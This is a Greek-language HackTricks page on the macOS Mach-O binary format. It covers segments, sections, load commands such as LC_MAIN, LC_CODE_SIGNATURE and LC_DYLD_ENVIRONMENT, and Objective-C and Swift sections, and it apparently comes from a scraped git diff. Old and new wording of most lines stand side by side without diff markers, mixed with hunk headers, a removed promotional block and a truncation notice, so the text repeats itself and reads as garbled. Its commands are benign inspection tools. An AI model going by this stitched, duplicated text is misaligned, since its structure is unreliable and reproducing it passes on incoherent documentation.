* `__nl_symbol_ptr`: Δείκτης συμβόλου μη-αργό (δεσμευμένος κατά τη φόρτωση)
* `__la_symbol_ptr`: Δείκτης συμβόλου αργό (δεσμευμένος κατά τη χρήση)
* `__const`: Θα έπρεπε να είναι δεδομένα μόνο για ανάγνωση (στην πραγματικότητα όχι)
* `__cfstring`: Συμβολοσειρές CoreFoundation
* `__data`: Παγκόσμιες μεταβλητές (που έχουν αρχικοποιηθεί)
* `__bss`: Στατικές μεταβλητές (που δεν έχουν αρχικοποιηθεί)
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, κλπ): Πληροφορίες που χρησιμοποιούνται από το runtime της Objective-C
* **`__DATA_CONST`**: Το \_\_DATA.\_\_const δεν είναι εγγυημένο ότι είναι σταθερό (δικαιώματα εγγραφής), ούτε και άλλοι δείκτες και ο πίνακας GOT. Αυτή η ενότητα καθιστά το `__const`, μερικούς αρχικοποιητές και τον πίνακα GOT (αφού επιλυθεί) **μόνο για ανάγνωση** χρησιμοποιώντας το `mprotect`.
* **`__LINKEDIT`**: Περιέχει πληροφορίες για τον σύνδεσμο (dyld) όπως, σύμβολο, συμβολοσειρά και καταχώρηση πίνακα επανατοποθέτησης. Είναι ένα γενικός δοχείο για περιεχόμενα που δεν βρίσκονται ούτε στο `__TEXT` ούτε στο `__DATA` και το περιεχόμενό του περιγράφεται σε άλλες εντολές φόρτωσης.
* Πληροφορίες dyld: Επανατοποθέτηση, μη-τεμπέλικο/τεμπέλικο/αδύναμη δέσμευση και πληροφορίες εξαγωγής
* **`__DATA_CONST`**: Το \_\_DATA.\_\_const δεν είναι εγγυημένα σταθερό (δικαιώματα εγγραφής), ούτε και άλλοι δείκτες και ο πίνακας GOT. Αυτή η ενότητα καθιστά το `__const`, μερικούς αρχικοποιητές και τον πίνακα GOT (αφού επιλυθεί) **μόνο για ανάγνωση** χρησιμοποιώντας το `mprotect`.
* **`__LINKEDIT`**: Περιέχει πληροφορίες για τον σύνδεσμο (dyld) όπως, σύμβολα, συμβολοσειρές και καταχωρήσεις πίνακα ανακατεύθυνσης. Είναι ένα γενικός δοχείο για περιεχόμενα που δεν βρίσκονται ούτε στο `__TEXT` ούτε στο `__DATA` και το περιεχόμενό του περιγράφεται σε άλλες εντολές φόρτωσης.
* Πληροφορίες dyld: Επαντοποίηση, μη-αργή/αργή/αδύναμη σύνδεση συμβόλων και πληροφορίες εξαγωγής
* Έναρξη συναρτήσεων: Πίνακας διευθύνσεων έναρξης συναρτήσεων
* Δεδομένα Στον Κώδικα: Δεδομένα νησιά στο \_\_text
* Δεδομένα Στον Κώδικα: Δεδομένα νησίδες στο \_\_text
* Πίνακας Συμβόλων: Σύμβολα στο δυαδικό
* Έμμεσος Πίνακας Συμβόλων: Σύμβολα δείκτη/στάμπα
* Έμμεσος Πίνακας Συμβόλων: Δείκτες συμβόλων/στάμπ
* Πίνακας Συμβολοσειρών
* Υπογραφή Κώδικα
* **`__OBJC`**: Περιέχει πληροφορίες που χρησιμοποιούνται από το runtime της Objective-C. Αυτές οι πληροφορίες μπορεί επίσης να βρεθούν στο τμήμα \_\_DATA, εντός διαφόρων ενοτήτων \_\_objc\_\*.
* **`__RESTRICT`**: Ένα τμήμα χωρίς περιεχόμενο με μια μόνο ενότητα που ονομάζεται **`__restrict`** (επίσης κενή) που εξασφαλίζει ότι κατά την εκτέλεση του δυαδικού, θα αγνοήσει τις μεταβλητές περιβάλλοντος DYLD.
* **`__OBJC`**: Περιέχει πληροφορίες που χρησιμοποιούνται από το runtime της Objective-C. Αυτές οι πληροφορίες μπορεί επίσης να βρεθούν στο τμήμα \_\_DATA, εντός διαφόρων τμημάτων \_\_objc\_\*.
* **`__RESTRICT`**: Ένα τμήμα χωρίς περιεχόμενο με ένα μόνο τμήμα που ονομάζεται **`__restrict`** (επίσης κενό) που εξασφαλίζει ότι κατά την εκτέλεση του δυαδικού, θα αγνοήσει τις μεταβλητές περιβάλλοντος DYLD.
Όπως ήταν δυνατό να δει κανείς στον κώδικα, **τα τμήματα υποστηρίζουν επίσης σημαίες** (αν και δεν χρησιμοποιούνται πολύ):
* `SG_HIGHVM`: Μόνο πυρήνας (δεν χρησιμοποιείται)
* `SG_FVMLIB`: Δεν χρησιμοποιείται
* `SG_NORELOC`: Το τμήμα δεν έχει επανατοποθέτηση
* `SG_PROTECTED_VERSION_1`: Κρυπτογράφηση. Χρησιμοποιείται για παράδειγμα από το Finder για να κρυπτογραφήσει τον κείμενο του τμήματος `__TEXT`.
* `SG_NORELOC`: Το τμήμα δεν έχει ανακατεύθυνση
* `SG_PROTECTED_VERSION_1`: Κρυπτογράφηση. Χρησιμοποιείται για παράδειγμα από το Finder για να κρυπτογραφήσει το κείμενο του τμήματος `__TEXT`.
### **`LC_UNIXTHREAD/LC_MAIN`**
Το **`LC_MAIN`** περιέχει το σημείο εισόδου στο χαρακτηριστικό **entryoff**. Κατά τη φόρτωση, το **dyld** απλά **προσθέτει** αυτήν την τιμή στη (στη μνήμη) **βάση του δυαδικού**, και στη συνέχεια **μεταβαίνει** σε αυτήν την εντολή για να ξεκινήσει η εκτέλεση του κώδικα του δυαδικού.
Το **`LC_UNIXTHREAD`** περιέχει τις τιμές που πρέπει να έχουν τα καταχωρητέα όταν ξεκινά ο κύριος νήμα. Αυτό έχει ήδη αποσυρθεί αλλά το **`dyld`** το χρησιμοποιεί ακόμα. Είναι δυνατό να δείτε τις τιμές των καταχωρητών που έχουν οριστεί από αυτό με:
Το **`LC_UNIXTHREAD`** περιέχει τις τιμές που πρέπει να έχουν τα καταχωρητέα όταν ξεκινά ο κύριος νήματος. Αυτό έχει ήδη αποσυρθεί, αλλά το **`dyld`** το χρησιμοποιεί ακόμα. Είναι δυνατό να δείτε τις τιμές των καταχωρητών που έχουν οριστεί από αυτό με:
```bash
otool -l /usr/lib/dyld
[...]
@ -299,20 +300,20 @@ cpsr 0x00000000
```
### **`LC_CODE_SIGNATURE`**
Περιέχει πληροφορίες σχετικά με τη **υπογραφή κώδικα του αρχείου Mach-O**. Περιέχει μόνο ένα **μετατόπιση** που **δείχνει** στο **blob υπογραφής**. Συνήθως βρίσκεται στο πολύ τέλος του αρχείου.\
Ωστόσο, μπορείτε να βρείτε πληροφορίες σχετικά με αυτήν την ενότητα στην [**ανάρτηση σε αυτό το blog**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) και σε αυτό το [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
Περιέχει πληροφορίες σχετικά με τη **υπογραφή κώδικα του αρχείου Mach-O**. Περιέχει μόνο ένα **μετατόπιση** που **δείχνει** στο **blob υπογραφής**. Αυτό είναι τυπικά στο πολύ τέλος του αρχείου.\
Ωστόσο, μπορείτε να βρείτε πληροφορίες σχετικά με αυτήν την ενότητα στην [**ανάρτηση στο blog αυτό**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) και αυτό το [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
### **`LC_ENCRYPTION_INFO[_64]`**
Υποστήριξη για κρυπτογράφηση δυαδικού κώδικα. Ωστόσο, φυσικά, αν ένας εισβολέας καταφέρει να διακινδυνεύσει τη διαδικασία, θα μπορεί να αναγκάσει τη μνήμη να απορρυπωθεί χωρίς κρυπτογράφηση.
Υποστήριξη για κρυπτογράφηση δυαδικού κώδικα. Ωστόσο, φυσικά, αν ένας επιτιθέμενος καταφέρει να διακινδυνεύσει τη διαδικασία, θα μπορεί να ανακτήσει τη μνήμη μη κρυπτογραφημένη.
### **`LC_LOAD_DYLINKER`**
Περιέχει τη **διαδρομή προς το εκτελέσιμο δυναμικού συνδέστη** που αντιστοιχεί τις κοινόχρηστες βιβλιοθήκες στο χώρο διεύθυνσης της διεργασίας. Η **τιμή είναι πάντα ορισμένη σε `/usr/lib/dyld`**. Σημαντικό είναι να σημειωθεί ότι στο macOS, η αντιστοίχιση dylib συμβαίνει σε **λειτουργία χρήστη**, όχι σε λειτουργία πυρήνα.
Περιέχει τη **διαδρομή προς το εκτελέσιμο δυναμικού συνδέτη** που αντιστοιχεί τις κοινόχρηστες βιβλιοθήκες στο χώρο διεύθυνσης της διεργασίας. Η **τιμή είναι πάντα ορισμένη σε `/usr/lib/dyld`**. Σημαντικό είναι να σημειωθεί ότι στο macOS, η αντιστοίχιση dylib συμβαίνει σε **λειτουργία χρήστη**, όχι σε λειτουργία πυρήνα.
### **`LC_IDENT`**
Παρωχημένο αλλά όταν ρυθμιστεί για τη δημιουργία αναφορών σφάλματος, δημιουργείται ένας πυρήνας Mach-O και η έκδοση πυρήνα ορίζεται στην εντολή `LC_IDENT`.
Παρωχημένο αλλά όταν ρυθμιστεί για τη δημιουργία αναφορών σφαλμάτων, δημιουργείται ένας πυρήνας Mach-O και η έκδοση πυρήνα ορίζεται στην εντολή `LC_IDENT`.
### **`LC_UUID`**
@ -320,7 +321,7 @@ cpsr 0x00000000
### **`LC_DYLD_ENVIRONMENT`**
Επιτρέπει την υποδειξη μεταβλητών περιβάλλοντος στο dyld πριν εκτελεστεί η διαδικασία. Αυτό μπορεί να είναι πολύ επικίνδυνο καθώς μπορεί να επιτρέψει την εκτέλεση αυθαίρετου κώδικα μέσα στη διαδικασία, οπότε αυτή η εντολή φόρτωσης χρησιμοποιείται μόνο σε dyld που χτίστηκε με `#define SUPPORT_LC_DYLD_ENVIRONMENT` και περιορίζει περαιτέρω την επεξεργασία μόνο σε μεταβλητές της μορφής `DYLD_..._PATH` που καθορίζουν διαδρομές φόρτωσης.
Επιτρέπει την υποδειξη μεταβλητών περιβάλλοντος στο dyld πριν εκτελεστεί η διαδικασία. Αυτό μπορεί να είναι επικίνδυνο καθώς μπορεί να επιτρέψει την εκτέλεση αυθαίρετου κώδικα μέσα στη διαδικασία, οπότε αυτή η εντολή φόρτωσης χρησιμοποιείται μόνο σε dyld που χτίστηκε με `#define SUPPORT_LC_DYLD_ENVIRONMENT` και περαιτέρω περιορίζει την επεξεργασία μόνο σε μεταβλητές της μορφής `DYLD_..._PATH` που καθορίζουν διαδρομές φόρτωσης.
### **`LC_LOAD_DYLIB`**
@ -341,7 +342,7 @@ uint32_t current_version; /* library's current version number */
uint32_t compatibility_version; /* library's compatibility vers number*/
};
```
![](<../../../.gitbook/assets/image (483).png>)
![](<../../../.gitbook/assets/image (486).png>)
Μπορείτε επίσης να λάβετε αυτές τις πληροφορίες από το cli με:
```bash
@ -364,7 +365,7 @@ otool -L /bin/ls
## **Δεδομένα Mach-O**
Στον πυρήνα του αρχείου βρίσκεται η περιοχή δεδομένων, η οποία αποτελείται από αρκετά τμήματα όπως ορίζεται στην περιοχή εντολών φόρτωσης. **Μια ποικιλία τμημάτων δεδομένων μπορεί να φιλοξενείται σε κάθε τμήμα**, με κάθε τμήμα να **κρατά κώδικα ή δεδομένα** που είναι συγκεκριμένα για έναν τύπο.
Στον πυρήνα του αρχείου βρίσκεται η περιοχή δεδομένων, η οποία αποτελείται από διάφορα τμήματα όπως ορίζεται στην περιοχή εντολών φόρτωσης. **Μια ποικιλία τμημάτων δεδομένων μπορεί να φιλοξενείται σε κάθε τμήμα**, με κάθε τμήμα να **κρατάει κώδικα ή δεδομένα** που είναι συγκεκριμένα για έναν τύπο.
{% hint style="success" %}
Τα δεδομένα είναι βασικά η περιοχή που περιέχει όλες τις **πληροφορίες** που φορτώνονται από τις εντολές φόρτωσης **LC\_SEGMENTS\_64**
@ -375,27 +376,35 @@ otool -L /bin/ls
Αυτό περιλαμβάνει:
* **Πίνακας συναρτήσεων:** Ο οποίος περιέχει πληροφορίες σχετικά με τις λειτουργίες του προγράμματος.
* **Πίνακας συμβόλων**: Ο οποίος περιέχει πληροφορίες σχετικά με την εξωτερική λειτουργία που χρησιμοποιείται από το δυαδικό
* Μπορεί επίσης να περιέχει εσωτερικές συναρτήσεις, ονόματα μεταβλητών και περισσότερα.
* **Πίνακας συμβόλων**: Ο οποίος περιέχει πληροφορίες σχετικά με τις εξωτερικές λειτουργίες που χρησιμοποιούνται από το δυαδικό
* Μπορεί επίσης να περιέχει εσωτερικές συναρτήσεις, ονόματα μεταβλητών και άλλα.
Για να το ελέγξετε μπορείτε να χρησιμοποιήσετε το εργαλείο [**Mach-O View**](https://sourceforge.net/projects/machoview/):
<figure><img src="../../../.gitbook/assets/image (1117).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1120).png" alt=""><figcaption></figcaption></figure>
Ή από το cli:
```bash
size -m /bin/ls
```
<details>
## Κοινές Ενότητες Objective-C
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Στο τμήμα `__TEXT` (r-x):
Άλλοι τρόποι υποστήριξης του HackTricks:
* `__objc_classname`: Ονόματα κλάσεων (αλφαριθμητικά)
* `__objc_methname`: Ονόματα μεθόδων (αλφαριθμητικά)
* `__objc_methtype`: Τύποι μεθόδων (αλφαριθμητικά)
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
Στο τμήμα `__DATA` (rw-):
</details>
* `__objc_classlist`: Δείκτες προς όλες τις κλάσεις Objective-C
* `__objc_nlclslist`: Δείκτες προς μη-τεμπέλιες κλάσεις Objective-C
* `__objc_catlist`: Δείκτης προς Κατηγορίες
* `__objc_nlcatlist`: Δείκτης προς μη-τεμπέλιες Κατηγορίες
* `__objc_protolist`: Λίστα πρωτοκόλλων
* `__objc_const`: Σταθερά δεδομένα
* `__objc_imageinfo`, `__objc_selrefs`, `objc__protorefs`...
## Swift
* `_swift_typeref`, `_swift3_capture`, `_swift3_assocty`, `_swift3_types, _swift3_proto`, `_swift3_fieldmd`, `_swift3_builtin`, `_swift3_reflstr`

Some files were not shown because too many files have changed in this diff Show more